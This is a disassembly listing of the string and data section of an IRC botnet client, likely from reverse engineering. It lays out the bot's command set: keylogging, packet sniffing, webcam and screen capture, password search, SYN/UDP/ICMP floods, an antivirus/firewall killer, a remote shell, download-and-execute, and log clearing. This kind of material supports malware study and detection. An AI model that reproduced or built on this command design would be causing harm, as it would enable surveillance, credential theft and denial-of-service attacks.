aHttpdFailedT_1	db '[HTTPD]: Failed to start server thread, error: <%d>.',0
					; DATA XREF: sub_409806+4A39o
		align 10h
aTftpFailedTo_0	db '[TFTP]: Failed to start server thread, error: <%d>.',0
					; DATA XREF: sub_409806+48AFo
aTftpAlreadyRun	db '[TFTP]: Already running.',0 ; DATA XREF: sub_409806+4792o
		align 10h
aFindpassFail_0	db '[FINDPASS]: Failed to start search thread, error: <%d>.',0
					; DATA XREF: sub_409806+4764o
aFindpassSearch	db '[FINDPASS]: Searching for password.',0 ; DATA XREF: sub_409806+4701o
aScanFailedTo_1	db '[SCAN]: Failed to start scan, port is invalid.',0
					; DATA XREF: sub_409806+46C6o
					; sub_409806+5DB3o
		align 10h
aScanSPortScanS	db '[SCAN]: %s Port Scan started on %s:%d with a delay of %d seconds '
					; DATA XREF: sub_409806+45FEo
					; sub_409806+5FE9o
		db 'for %d minutes using %d threads.',0
		align 4
aSequential	db 'Sequential',0       ; DATA XREF: sub_409806+45D3o
					; sub_409806+5FBEo
		align 10h
aRandom		db 'Random',0           ; DATA XREF: sub_409806+45CCo
					; sub_409806+5FB7o
		align 4
aScanAlreadyDSc	db '[SCAN]: Already %d scanning threads. Too many specified.',0
					; DATA XREF: sub_409806+43EFo
					; sub_409806+5C9Ao
		align 4
aMainNickChange	db '[MAIN]: Nick changed to: ',27h,'%s',27h,'.',0
					; DATA XREF: sub_409806+438Bo
		align 4
aMainJoinedCh_0	db '[MAIN]: Joined channel: ',27h,'%s',27h,'.',0
					; DATA XREF: sub_409806+436Eo
		align 4
aMainPartedChan	db '[MAIN]: Parted channel: ',27h,'%s',27h,'.',0
					; DATA XREF: sub_409806+434Do
		align 4
aMainIrcRawS_	db '[MAIN]: IRC Raw: %s.',0 ; DATA XREF: sub_409806+4333o
		align 4
aThreadsFailedT	db '[THREADS]: Failed to kill thread: %s.',0
					; DATA XREF: sub_409806:loc_40DAC0o
		align 4
aThreadsKilledT	db '[THREADS]: Killed thread: %s.',0 ; DATA XREF: sub_409806+42B3o
		align 4
aThreadsNoActiv	db '[THREADS]: No active threads found.',0
					; DATA XREF: sub_409806:loc_40DA74o
aThreadsStopped	db '[THREADS]: Stopped: %d thread(s).',0 ; DATA XREF: sub_409806+4264o
		align 4
aAll		db 'all',0              ; DATA XREF: sub_409806+424Eo
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_409806+41C1o
					; sub_409806:loc_40EA32o
		align 10h
aMainPrefixChan	db '[MAIN]: Prefix changed to: ',27h,'%c',27h,'.',0
					; DATA XREF: sub_409806+4140o
		align 4
aShellCouldnTOp	db '[SHELL]: Couldn',27h,'t open file: %s',0
					; DATA XREF: sub_409806:loc_40D92Do
aShellFileOpene	db '[SHELL]: File opened: %s',0 ; DATA XREF: sub_409806+411Do
		align 10h
aMainServerChan	db '[MAIN]: Server changed to: ',27h,'%s',27h,'.',0
					; DATA XREF: sub_409806+40E8o
		align 4
aDnsCouldnTReso	db '[DNS]: Couldn',27h,'t resolve hostname.',0
					; DATA XREF: sub_409806:loc_40D8CEo
		align 4
aDnsLookupSS_	db '[DNS]: Lookup: %s -> %s.',0 ; DATA XREF: sub_409806+409Do
		align 4
aProcFailedTo_0	db '[PROC]: Failed to terminate process: %s',0
					; DATA XREF: sub_409806:loc_40D86Fo
aProcProcessK_1	db '[PROC]: Process killed: %s',0 ; DATA XREF: sub_409806+4062o
		align 4
aProcProcessK_0	db '[PROC]: Process killed & deleted: %s',0 ; DATA XREF: sub_409806+401Ao
		align 10h
aProcFailedToTe	db '[PROC]: Failed to terminate process ID: %s',0
					; DATA XREF: sub_409806:loc_40D7C1o
		align 4
aProcProcessKil	db '[PROC]: Process killed ID: %s',0 ; DATA XREF: sub_409806+3FB4o
		align 4
aFileDeletedS_0	db '[FILE]: Deleted ',27h,'%s',27h,'.',0 ; DATA XREF: sub_409806+3F69o
		align 4
aFileListS	db '[FILE]: List: %s',0 ; DATA XREF: sub_409806+3F44o
		align 4
aVisitFailedToS	db '[VISIT]: Failed to start connection thread, error: <%d>.',0
					; DATA XREF: sub_409806+3F00o
		align 4
aVisitUrlS_	db '[VISIT]: URL: %s.',0 ; DATA XREF: sub_409806+3EA7o
		align 4
aMircCommandSen	db '[mIRC]: Command sent.',0 ; DATA XREF: sub_409806:loc_40D600o
		align 10h
aMircClientNotO	db '[mIRC]: Client not open.',0 ; DATA XREF: sub_409806+3DF3o
		align 4
aCmdCommandsS	db '[CMD]: Commands: %s',0 ; DATA XREF: sub_409806+3DB3o
aCmdErrorSendin	db '[CMD]: Error sending to remote shell.',0 ; DATA XREF: sub_409806+3DABo
		align 4
aMainReadFileFa	db '[MAIN]: Read file failed: %s',0 ; DATA XREF: sub_409806+3D5Do
		align 4
aMainReadFileCo	db '[MAIN]: Read file complete: %s',0 ; DATA XREF: sub_409806+3D47o
		align 4
aCaptureInval_0	db '[CAPTURE]: Invalid parameters for amateur video capture.',0
					; DATA XREF: sub_409806:loc_40D4D2o
		align 4
aCaptureError_1	db '[CAPTURE]: Error while capturing amateur video from webcam.',0
					; DATA XREF: sub_409806:loc_40D4C8o
aCaptureAmateur	db '[CAPTURE]: Amateur video saved to: %s.',0 ; DATA XREF: sub_409806+3CAFo
		align 4
aVideo		db 'video',0            ; DATA XREF: sub_409806+3C24o
		align 10h
aCaptureInvalid	db '[CAPTURE]: Invalid parameters for webcam capture.',0
					; DATA XREF: sub_409806:loc_40D412o
		align 4
aCaptureError_0	db '[CAPTURE]: Error while capturing from webcam.',0
					; DATA XREF: sub_409806:loc_40D40Bo
		align 4
aCaptureWebcamC	db '[CAPTURE]: Webcam capture saved to: %s.',0 ; DATA XREF: sub_409806+3BF5o
aFrame		db 'frame',0            ; DATA XREF: sub_409806+3B88o
		align 4
aCaptureDriverL	db '[CAPTURE]: Driver list complete.',0 ; DATA XREF: sub_409806+3B76o
		align 4
aCaptureDriverD	db '[CAPTURE]: Driver #%d - %s - %s.',0 ; DATA XREF: sub_409806+3B42o
		align 4
aDrivers	db 'drivers',0          ; DATA XREF: sub_409806+3AFBo
aCaptureNoFilen	db '[CAPTURE]: No filename specified for screen capture.',0
					; DATA XREF: sub_409806:loc_40D2E9o
		align 4
aCaptureErrorWh	db '[CAPTURE]: Error while capturing screen.',0
					; DATA XREF: sub_409806:loc_40D2E2o
		align 4
aCaptureScreenC	db '[CAPTURE]: Screen capture saved to: %s.',0 ; DATA XREF: sub_409806+3ACCo
aScreen		db 'screen',0           ; DATA XREF: sub_409806+3AA2o
		align 4
aMainGethostS_	db '[MAIN]: Gethost: %s.',0 ; DATA XREF: sub_409806+3A85o
		align 10h
aMainUnableToEx	db '[MAIN]: Unable to extract Gethost command.',0
					; DATA XREF: sub_409806:loc_40D247o
		align 4
aMainGethostSCo	db '[MAIN]: Gethost: %s, Command: %s',0 ; DATA XREF: sub_409806+3A2Bo
		align 10h
aMainAliasAdded	db '[MAIN]: Alias added: %s.',0 ; DATA XREF: sub_409806+3976o
		align 4
aMainPrivmsgSS_	db '[MAIN]: Privmsg: %s: %s.',0 ; DATA XREF: sub_409806+3933o
		align 4
aMainActionSS_	db '[MAIN]: Action: %s: %s.',0 ; DATA XREF: sub_409806+38C8o
aMainCycle_	db '[MAIN]: Cycle.',0   ; DATA XREF: sub_409806+3848o
		align 10h
aPartS		db 'PART %s',0Dh,0Ah,0  ; DATA XREF: sub_409806+380Co
					; sub_409806+433Do
		align 4
aMainModeChange	db '[MAIN]: Mode change: %s',0 ; DATA XREF: sub_409806+37E7o
aModeS_0	db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_409806+37D9o
		align 10h
aCloneRawSS	db '[CLONE]: Raw (%s): %s',0 ; DATA XREF: sub_409806+37ADo
		align 4
aCloneModeSS	db '[CLONE]: Mode (%s): %s',0 ; DATA XREF: sub_409806+373Eo
		align 10h
aModeS		db 'MODE %s',0          ; DATA XREF: sub_409806+36E6o
aCloneNickSS	db '[CLONE]: Nick (%s): %s',0 ; DATA XREF: sub_409806+36B3o
		align 10h
aNickS		db 'NICK %s',0          ; DATA XREF: sub_409806+365Ao
					; sub_409806+4188o
aJoinSS		db 'JOIN %s %s',0       ; DATA XREF: sub_409806+3639o
		align 4
aS_5		db '%s',0Dh,0Ah,0       ; DATA XREF: sub_409806+3605o
					; sub_409806+3692o ...
		align 4
aPartS_0	db 'PART %s',0          ; DATA XREF: sub_409806+35CCo
aMainRepeatNotA	db '[MAIN]: Repeat not allowed in command line: %s',0
					; DATA XREF: sub_409806:loc_40CDBFo
		align 4
aMainRepeatS	db '[MAIN]: Repeat: %s',0 ; DATA XREF: sub_409806+357Eo
		align 4
aMainDelay_	db '[MAIN]: Delay.',0   ; DATA XREF: sub_409806:loc_40CCF1o
		align 4
aSSSS		db '%s %s %s :%s',0     ; DATA XREF: sub_409806+34A7o
					; sub_409806+3558o ...
		align 4
aUpdateFailedTo	db '[UPDATE]: Failed to start download thread, error: <%d>.',0
					; DATA XREF: sub_409806+341Eo
aUpdateDownload	db '[UPDATE]: Downloading update from: %s.',0 ; DATA XREF: sub_409806+33BFo
		align 4
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_409806+3318o
		align 4
aExecCommandsS	db '[EXEC]: Commands: %s',0 ; DATA XREF: sub_409806+3294o
		align 4
aExecCouldnTExe	db '[EXEC]: Couldn',27h,'t execute file.',0 ; DATA XREF: sub_409806+3281o
		align 4
aFindfileFailed	db '[FINDFILE]: Failed to start search thread, error: <%d>.',0
					; DATA XREF: sub_409806+31CDo
aFindfileSear_0	db '[FINDFILE]: Searching for file: %s in: %s.',0
					; DATA XREF: sub_409806+3169o
		align 10h
aFile_0		db '[FILE]:',0          ; DATA XREF: sub_409806:loc_40C8CDo
					; sub_409806:loc_40D776o
aFileRenameSToS	db '[FILE]: Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
					; DATA XREF: sub_409806+30AFo
		align 4
aIcmpInvalidFlo	db '[ICMP]: Invalid flood time must be greater than 0.',0
					; DATA XREF: sub_409806+3066o
		align 4
aIcmpFailedToSt	db '[ICMP]: Failed to start flood thread, error: <%d>.',0
					; DATA XREF: sub_409806+303Eo
		align 10h
aIcmpFloodingSF	db '[ICMP]: Flooding: (%s) for %s seconds.',0 ; DATA XREF: sub_409806+2FCEo
		align 4
aClonesFailedTo	db '[CLONES]: Failed to start clone thread, error: <%d>.',0
					; DATA XREF: sub_409806+2F42o
		align 10h
aClonesCreatedO	db '[CLONES]: Created on %s:%d, in channel %s.',0
					; DATA XREF: sub_409806+2EDFo
		align 4
aDdosFailedToSt	db '[DDoS]: Failed to start flood thread, error: <%d>.',0
					; DATA XREF: sub_409806+2E2Fo
		align 10h
aDdosFloodingSS	db '[DDoS]: Flooding: (%s:%s) for %s seconds.',0
					; DATA XREF: sub_409806+2DC5o
		align 4
aSynFailedToSta	db '[SYN]: Failed to start flood thread, error: <%d>.',0
					; DATA XREF: sub_409806+2D31o
		align 10h
aSynFloodingSSF	db '[SYN]: Flooding: (%s:%s) for %s seconds.',0
					; DATA XREF: sub_409806+2CC7o
		align 4
aDownloadFailed	db '[DOWNLOAD]: Failed to start transfer thread, error: <%d>.',0
					; DATA XREF: sub_409806+2C1Fo
		align 4
aDownloadDown_1	db '[DOWNLOAD]: Downloading URL: %s to: %s.',0 ; DATA XREF: sub_409806+2BC0o
aRedirectFailed	db '[REDIRECT]: Failed to start redirection thread, error: <%d>.',0
					; DATA XREF: sub_409806+2AA2o
		align 10h
aRedirectTcpRed	db '[REDIRECT]: TCP redirect created from: %s:%d to: %s:%d.',0
					; DATA XREF: sub_409806+2A47o
aScanFailedTo_0	db '[SCAN]: Failed to start scan thread, error: <%d>.',0
					; DATA XREF: sub_409806+29A5o
					; sub_409806+465Do ...
		align 4
aScanPortScanSt	db '[SCAN]: Port scan started: %s:%d with delay: %d(ms).',0
					; DATA XREF: sub_409806+294Ao
		align 4
aSSS_1		db '[%s] <%s> %s',0     ; DATA XREF: sub_409806+28C4o
		align 4
aSSS_2		db '[%s] * %s %s',0     ; DATA XREF: sub_409806+27A9o
		align 4
dword_429D54	dd 54434101h, 204E4F49h, 17325h					; sub_409806+38A3o
dword_429D60	dd 615F63h	aC_action	db 'c_action',0         ; DATA XREF: sub_409806+2684o
		align 10h
aC_pm		db 'c_pm',0             ; DATA XREF: sub_409806+2670o
		align 4
aC_privmsg	db 'c_privmsg',0        ; DATA XREF: sub_409806+265Co
		align 4
aSc		db 'sc',0               ; DATA XREF: sub_409806+2648o
		align 4
aScan		db 'scan',0             ; DATA XREF: sub_409806+2634o
		align 10h
aRd		db 'rd',0               ; DATA XREF: sub_409806+2620o
		align 4
aRedirect	db 'redirect',0         ; DATA XREF: sub_409806+260Co
		align 10h
aDl		db 'dl',0               ; DATA XREF: sub_409806+25F8o
		align 4
aDownload	db 'download',0         ; DATA XREF: sub_409806+25E4o
		align 10h
aSyn		db 'syn',0              ; DATA XREF: sub_409806+25D0o
					; sub_409806+5851o ...
aSynflood	db 'synflood',0         ; DATA XREF: sub_409806+25BCo
		align 10h
aC:					; DATA XREF: sub_409806+256Co
					; sub_415E96+73o
		unicode	0, <c>,0
aClone_0	db 'clone',0            ; DATA XREF: sub_409806+2558o
		align 4
aIcmp		db 'icmp',0             ; DATA XREF: sub_409806+2532o
		align 4
aIcmpflood	db 'icmpflood',0        ; DATA XREF: sub_409806+251Eo
		align 10h
aMv		db 'mv',0               ; DATA XREF: sub_409806+250Ao
		align 4
aRename		db 'rename',0           ; DATA XREF: sub_409806+24F6o
		align 4
aFf		db 'ff',0               ; DATA XREF: sub_409806+24E2o
		align 10h
aFindfile	db 'findfile',0         ; DATA XREF: sub_409806+24CEo
		align 4
aE:					; DATA XREF: sub_409806+24BAo
		unicode	0, <e>,0
aExecute	db 'execute',0          ; DATA XREF: sub_409806+24A6o
aUpdate		db 'update',0           ; DATA XREF: sub_409806+247Eo
		align 10h
aDe		db 'de',0               ; DATA XREF: sub_409806+246Ao
		align 4
aDelay		db 'delay',0            ; DATA XREF: sub_409806+2456o
		align 4
aRp		db 'rp',0               ; DATA XREF: sub_409806+2442o
		align 10h
aRepeat		db 'repeat',0           ; DATA XREF: sub_409806+242Eo
					; sub_409806+3536o
		align 4
aC_p		db 'c_p',0              ; DATA XREF: sub_409806+241Ao
aC_part		db 'c_part',0           ; DATA XREF: sub_409806+2406o
		align 4
aC_j		db 'c_j',0              ; DATA XREF: sub_409806+23F2o
aC_join		db 'c_join',0           ; DATA XREF: sub_409806+23DEo
		align 10h
aC_n		db 'c_n',0              ; DATA XREF: sub_409806+23CAo
aC_nick		db 'c_nick',0           ; DATA XREF: sub_409806+23B6o
		align 4
aC_m		db 'c_m',0              ; DATA XREF: sub_409806+23A2o
aC_mode		db 'c_mode',0           ; DATA XREF: sub_409806+238Eo
		align 4
aC_r		db 'c_r',0              ; DATA XREF: sub_409806+237Ao
aC_raw		db 'c_raw',0            ; DATA XREF: sub_409806+2366o
		align 4
aM:					; DATA XREF: sub_409806+2352o
		unicode	0, <m>,0
aMode		db 'mode',0             ; DATA XREF: sub_409806+233Eo
		align 10h
aCy		db 'cy',0               ; DATA XREF: sub_409806+232Ao
		align 4
aCycle		db 'cycle',0            ; DATA XREF: sub_409806+2316o
		align 4
aA_1:					; DATA XREF: sub_409806+2302o
		unicode	0, <a>,0
aAction		db 'action',0           ; DATA XREF: sub_409806+22EEo
		align 4
aPm_0		db 'pm',0               ; DATA XREF: sub_409806+22DAo
		align 4
aPrivmsg_0	db 'privmsg',0          ; DATA XREF: sub_409806+22C6o
aAa		db 'aa',0               ; DATA XREF: sub_409806+22B2o
		align 4
aAddalias	db 'addalias',0         ; DATA XREF: sub_409806+229Eo
		align 4
aAvfwFailedToSt	db '[AVFW]: Failed to start AV/FW killer thread, error: <%d>.',0
					; DATA XREF: sub_409806+2220o
		align 10h
aAvfw		db '[AVFW]',0           ; DATA XREF: sub_409806+21C6o
					; sub_409806+227Eo
		align 4
aKillerThread	db 'Killer Thread',0    ; DATA XREF: sub_409806+21C1o
					; sub_409806+2279o
		align 4
aAvfwAvFwBotKil	db '[AVFW]: AV/FW/BOT Killer active.',0 ; DATA XREF: sub_409806+21ABo
		align 4
aAvfwkiller	db 'avfwkiller',0       ; DATA XREF: sub_409806+2180o
		align 4
aGh		db 'gh',0               ; DATA XREF: sub_409806+216Co
		align 4
aGethost	db 'gethost',0          ; DATA XREF: sub_409806+2158o
aCap		db 'cap',0              ; DATA XREF: sub_409806+2144o
aCapture	db 'capture',0          ; DATA XREF: sub_409806+2130o
aNetCommandUnkn	db '[NET]: Command unknown.',0 ; DATA XREF: sub_409806:loc_40B90Eo
aNetNoMessageSp	db '[NET]: No message specified.',0 ; DATA XREF: sub_409806:loc_40B907o
		align 4
aNetUserListFai	db '[NET]: User list failed.',0 ; DATA XREF: sub_409806:loc_40B8C0o
		align 4
aNetUserListCom	db '[NET]: User list completed.',0 ; DATA XREF: sub_409806+20B3o
aNetShareListFa	db '[NET]: Share list failed.',0 ; DATA XREF: sub_409806:loc_40B821o
		align 4
aNetShareListCo	db '[NET]: Share list completed.',0 ; DATA XREF: sub_409806+2011o
		align 4
aShare		db 'share',0            ; DATA XREF: sub_409806+1FA5o
		align 4
aContinue	db 'continue',0         ; DATA XREF: sub_409806+1F71o
		align 10h
aPause		db 'pause',0            ; DATA XREF: sub_409806+1F5Ao
		align 4
aStop		db 'stop',0             ; DATA XREF: sub_409806+1F43o
					; sub_409806+2260o
		align 10h
aNetServiceLi_0	db '[NET]: Service list failed.',0 ; DATA XREF: sub_409806:loc_40B73Bo
aNetServiceList	db '[NET]: Service list completed.',0 ; DATA XREF: sub_409806+1F2Bo
		align 4
aStart		db 'start',0            ; DATA XREF: sub_409806+1ED8o
					; sub_409806+2195o
		align 4
aNetFailedToLoa	db '[NET]: Failed to load advapi32.dll or netapi32.dll.',0
					; DATA XREF: sub_409806+1E9Eo
aNet		db 'net',0              ; DATA XREF: sub_409806+1E7Co
aKeylogFailedTo	db '[KEYLOG]: Failed to start logging thread, error: <%d>.',0
					; DATA XREF: sub_409806+1E59o
		align 4
aKeylogKeyLog_0	db '[KEYLOG]: Key logger active.',0 ; DATA XREF: sub_409806+1DFEo
		align 4
aKeylogAlreadyR	db '[KEYLOG]: Already running.',0 ; DATA XREF: sub_409806+1D7Do
		align 10h
aKeylogNoKeyLog	db '[KEYLOG]: No key logger thread found.',0
					; DATA XREF: sub_409806:loc_40B55Fo
		align 4
aKeylogKeyLogge	db '[KEYLOG]: Key logger stopped. (%d thread(s) stopped.)',0
					; DATA XREF: sub_409806+1D4Fo
		align 10h
aFile		db 'file',0             ; DATA XREF: sub_409806+1D1Fo
					; sub_409806+1D9Bo
		align 4
aKeylog		db 'keylog',0           ; DATA XREF: sub_409806+1CF9o
		align 10h
aPsniffNoCarniv	db '[PSNIFF]: No Carnivore thread found.',0
					; DATA XREF: sub_409806:loc_40B4F4o
		align 4
aPsniffCarniv_0	db '[PSNIFF]: Carnivore stopped. (%d thread(s) stopped.)',0
					; DATA XREF: sub_409806+1CE4o
		align 10h
aOff		db 'off',0              ; DATA XREF: sub_409806+1CC5o
					; sub_409806+1D30o
aPsniffFailedTo	db '[PSNIFF]: Failed to start sniffer thread, error: <%d>.',0
					; DATA XREF: sub_409806+1CB6o
		align 4
aPsniffCarnivor	db '[PSNIFF]: Carnivore packet sniffer active.',0
					; DATA XREF: sub_409806+1C39o
		align 4
aPsniffAlreadyR	db '[PSNIFF]: Already running.',0 ; DATA XREF: sub_409806+1BD2o
		align 4
aOn		db 'on',0               ; DATA XREF: sub_409806+1BB6o
					; sub_409806+1D0Eo
		align 4
aPsniff		db 'psniff',0           ; DATA XREF: sub_409806+1BA1o
		align 10h
aRf		db 'rf',0               ; DATA XREF: sub_409806+1B8Do
		align 4
aReadfile	db 'readfile',0         ; DATA XREF: sub_409806+1B79o
		align 10h
aCm		db 'cm',0               ; DATA XREF: sub_409806+1B65o
		align 4
aCmd		db 'cmd',0              ; DATA XREF: sub_409806+1B51o
aMirc		db 'mirc',0             ; DATA XREF: sub_409806+1B3Do
		align 10h
aMirccmd	db 'mirccmd',0          ; DATA XREF: sub_409806+1B29o
aV:					; DATA XREF: sub_409806+1B15o
		unicode	0, <v>,0
aVisit		db 'visit',0            ; DATA XREF: sub_409806+1B01o
		align 4
aLi		db 'li',0               ; DATA XREF: sub_409806+1AEDo
		align 4
aList_0		db 'list',0             ; DATA XREF: sub_409806+1AD9o
		align 10h
aDel		db 'del',0              ; DATA XREF: sub_409806+1AC5o
aDelete		db 'delete',0           ; DATA XREF: sub_409806+1AB1o
					; sub_409806+1F8Bo
		align 4
aKi		db 'ki',0               ; DATA XREF: sub_409806+1A9Do
		align 10h
aKill		db 'kill',0             ; DATA XREF: sub_409806+1A89o
		align 4
aKdp		db 'kdp',0              ; DATA XREF: sub_409806+1A75o
aKilldelproc	db 'killdelproc',0      ; DATA XREF: sub_409806+1A61o
aKp		db 'kp',0               ; DATA XREF: sub_409806+1A4Do
		align 4
aKillproc	db 'killproc',0         ; DATA XREF: sub_409806+1A39o
		align 4
aDn		db 'dn',0               ; DATA XREF: sub_409806+1A25o
		align 4
aDns		db 'dns',0              ; DATA XREF: sub_409806+1A11o
aSe		db 'se',0               ; DATA XREF: sub_409806+19FDo
		align 4
aO:					; DATA XREF: sub_409806+19D5o
		unicode	0, <o>,0
aOpen		db 'open',0             ; DATA XREF: sub_409806+19C1o
					; sub_409806+4104o ...
		align 10h
aPr		db 'pr',0               ; DATA XREF: sub_409806+19ADo
		align 4
aPrefix		db 'prefix',0           ; DATA XREF: sub_409806+1999o
		align 4
aC_rn		db 'c_rn',0             ; DATA XREF: sub_409806+1985o
		align 4
aC_rndnick	db 'c_rndnick',0        ; DATA XREF: sub_409806+1971o
		align 10h
aC_q		db 'c_q',0              ; DATA XREF: sub_409806+195Do
aC_quit		db 'c_quit',0           ; DATA XREF: sub_409806+1949o
		align 4
aK:					; DATA XREF: sub_409806+1935o
		unicode	0, <k>,0
aKillthread	db 'killthread',0       ; DATA XREF: sub_409806+1921o
		align 4
aRaw		db 'raw',0              ; DATA XREF: sub_409806+18F9o
aPt		db 'pt',0               ; DATA XREF: sub_409806+18E5o
		align 4
aPart_0		db 'part',0             ; DATA XREF: sub_409806+18D1o
		align 4
aJ:					; DATA XREF: sub_409806+18BDo
		unicode	0, <j>,0
aJoin		db 'join',0             ; DATA XREF: sub_409806+18A9o
		align 4
aN:					; DATA XREF: sub_409806+1895o
		unicode	0, <n>,0
aNick_0		db 'nick',0             ; DATA XREF: sub_409806+1881o
		align 4
aScanall	db 'scanall',0          ; DATA XREF: sub_409806+1847o
aFp		db 'fp',0               ; DATA XREF: sub_409806+1833o
		align 10h
aFindpass	db 'findpass',0         ; DATA XREF: sub_409806+181Fo
		align 4
aTftp		db 'tftp',0             ; DATA XREF: sub_409806+180Bo
		align 4
aTftpserver	db 'tftpserver',0       ; DATA XREF: sub_409806+17F7o
		align 10h
aHttp		db 'http',0             ; DATA XREF: sub_409806+17E3o
		align 4
aHttpserver	db 'httpserver',0       ; DATA XREF: sub_409806+17CFo
		align 4
aRlogin		db 'rlogin',0           ; DATA XREF: sub_409806+17BBo
		align 4
aRloginserver	db 'rloginserver',0     ; DATA XREF: sub_409806+17A7o
		align 4
aCip		db 'cip',0              ; DATA XREF: sub_409806+1793o
aCurrentip	db 'currentip',0        ; DATA XREF: sub_409806+177Fo
		align 4
aFdns		db 'fdns',0             ; DATA XREF: sub_409806+176Bo
		align 4
aFlushdns	db 'flushdns',0         ; DATA XREF: sub_409806+1757o
		align 10h
aFarp		db 'farp',0             ; DATA XREF: sub_409806+1743o
		align 4
aFlusharp	db 'flusharp',0         ; DATA XREF: sub_409806+172Fo
		align 4
aGc		db 'gc',0               ; DATA XREF: sub_409806+171Bo
		align 4
aGetclip	db 'getclip',0          ; DATA XREF: sub_409806+1707o
aEmailMessageSe	db '[EMAIL]: Message sent to %s.',0 ; DATA XREF: sub_409806+16BDo
		align 10h
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_409806+163Co
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
a_:					; DATA XREF: sub_409806+159Co
		unicode	0, <_>,0
aEmail		db 'email',0            ; DATA XREF: sub_409806+1531o
		align 4
aTcp		db 'tcp',0              ; DATA XREF: sub_409806+151Do
aTcpflood	db 'tcpflood',0         ; DATA XREF: sub_409806+1509o
		align 4
aP:					; DATA XREF: sub_409806+14F5o
		unicode	0, <p>,0
aPing_0		db 'ping',0             ; DATA XREF: sub_409806+14E1o
		align 4
aPingflood	db 'pingflood',0        ; DATA XREF: sub_409806+14CDo
		align 10h
aU:					; DATA XREF: sub_409806+14B9o
		unicode	0, <u>,0
aUdp		db 'udp',0              ; DATA XREF: sub_409806+14A5o
aUdpflood	db 'udpflood',0         ; DATA XREF: sub_409806+1491o
		align 4
aAsc		db 'asc',0              ; DATA XREF: sub_409806+147Do
aAdvscan	db 'advscan',0          ; DATA XREF: sub_409806+1469o
aMainLoginListC	db '[MAIN]: Login list complete.',0 ; DATA XREF: sub_409806+1445o
		align 10h
aD_S		db '%d. %s',0           ; DATA XREF: sub_409806+1411o
					; sub_413721+46o
		align 4
aEmpty		db '<Empty>',0          ; DATA XREF: sub_409806+1404o
aLoginList	db '-[Login List]-',0   ; DATA XREF: sub_409806+13E1o
		align 10h
aWho		db 'who',0              ; DATA XREF: sub_409806+13C8o
aCmd_0		db '[CMD]',0            ; DATA XREF: sub_409806+13BAo
		align 4
aRemoteShell	db 'Remote shell',0     ; DATA XREF: sub_409806+13B5o
		align 4
aCmdstop	db 'cmdstop',0          ; DATA XREF: sub_409806+13A0o
aOcmd		db 'ocmd',0             ; DATA XREF: sub_409806+138Co
		align 4
aOpencmd	db 'opencmd',0          ; DATA XREF: sub_409806+1378o
aDll		db 'dll',0              ; DATA XREF: sub_409806+1364o
aTestdlls	db 'testdlls',0         ; DATA XREF: sub_409806+1350o
		align 4
aDrv		db 'drv',0              ; DATA XREF: sub_409806+133Co
aDriveinfo	db 'driveinfo',0        ; DATA XREF: sub_409806+1328o
		align 4
aUp		db 'up',0               ; DATA XREF: sub_409806+1314o
					; sub_409806+2492o
		align 4
aUptime		db 'uptime',0           ; DATA XREF: sub_409806+1300o
		align 10h
aPs		db 'ps',0               ; DATA XREF: sub_409806+12ECo
		align 4
aProcs		db 'procs',0            ; DATA XREF: sub_409806+12D8o
		align 4
aErradicate	db 'erradicate',0       ; DATA XREF: sub_409806+12C4o
		align 4
aDestroy	db 'destroy',0          ; DATA XREF: sub_409806+12B0o
aSi		db 'si',0               ; DATA XREF: sub_409806+129Co
		align 4
aSysinfo	db 'sysinfo',0          ; DATA XREF: sub_409806+1288o
aNi		db 'ni',0               ; DATA XREF: sub_409806+1274o
		align 10h
aNetinfo	db 'netinfo',0          ; DATA XREF: sub_409806+1260o
aClg		db 'clg',0              ; DATA XREF: sub_409806+124Co
aClearlog	db 'clearlog',0         ; DATA XREF: sub_409806+1238o
		align 4
aLg		db 'lg',0               ; DATA XREF: sub_409806+1224o
		align 4
aLog_0		db 'log',0              ; DATA XREF: sub_409806+1210o
aAl		db 'al',0               ; DATA XREF: sub_409806+11FCo
		align 4
aAliases	db 'aliases',0          ; DATA XREF: sub_409806+11E8o
aT:					; DATA XREF: sub_409806+11D4o
		unicode	0, <t>,0
aThreads	db 'threads',0          ; DATA XREF: sub_409806+11C0o
aMainFailedToRe	db '[MAIN]: Failed to reboot system.',0 ; DATA XREF: sub_409806+1188o
		align 4
aMainRebootingS	db '[MAIN]: Rebooting system.',0 ; DATA XREF: sub_409806+1181o
		align 4
aReboot		db 'reboot',0           ; DATA XREF: sub_409806+116Eo
		align 10h
aI_0:					; DATA XREF: sub_409806+115Ao
		unicode	0, <i>,0
aId		db 'id',0               ; DATA XREF: sub_409806+1146o
		align 4
aS_9:					; DATA XREF: sub_409806+1132o
		unicode	0, <s>,0
aStatus		db 'status',0           ; DATA XREF: sub_409806+111Eo
		align 4
aQ:					; DATA XREF: sub_409806+110Ao
		unicode	0, <q>,0
aQuit_0		db 'quit',0             ; DATA XREF: sub_409806+10F6o
		align 10h
aDc		db 'dc',0               ; DATA XREF: sub_409806+10E2o
		align 4
aDisconnect	db 'disconnect',0       ; DATA XREF: sub_409806+10CEo
		align 10h
aR:					; DATA XREF: sub_409806+10BAo
					; sub_409806+190Do ...
		unicode	0, <r>,0
aReconnect	db 'reconnect',0        ; DATA XREF: sub_409806+10A6o
		align 10h
aStats		db 'stats',0            ; DATA XREF: sub_409806:loc_40A898o
		align 4
aScanstats	db 'scanstats',0        ; DATA XREF: sub_409806+107Eo
		align 4
aScan_0		db '[SCAN]',0           ; DATA XREF: sub_409806+1070o
					; sub_409806+5F0Do
		align 4
aScan_1		db 'Scan',0             ; DATA XREF: sub_409806+106Bo
		align 4
aScanstop	db 'scanstop',0         ; DATA XREF: sub_409806+1056o
		align 10h
aSecure_1	db '[SECURE]',0         ; DATA XREF: sub_409806+1048o
		align 4
aSecure_0	db 'Secure',0           ; DATA XREF: sub_409806+1043o
		align 4
aSecurestop	db 'securestop',0       ; DATA XREF: sub_409806+102Eo
		align 10h
aClones		db '[CLONES]',0         ; DATA XREF: sub_409806+1020o
		align 4
aClone		db 'Clone',0            ; DATA XREF: sub_409806+101Bo
		align 4
aClonestop	db 'clonestop',0        ; DATA XREF: sub_409806+1006o
		align 10h
aPsstop		db 'psstop',0           ; DATA XREF: sub_409806+FF2o
		align 4
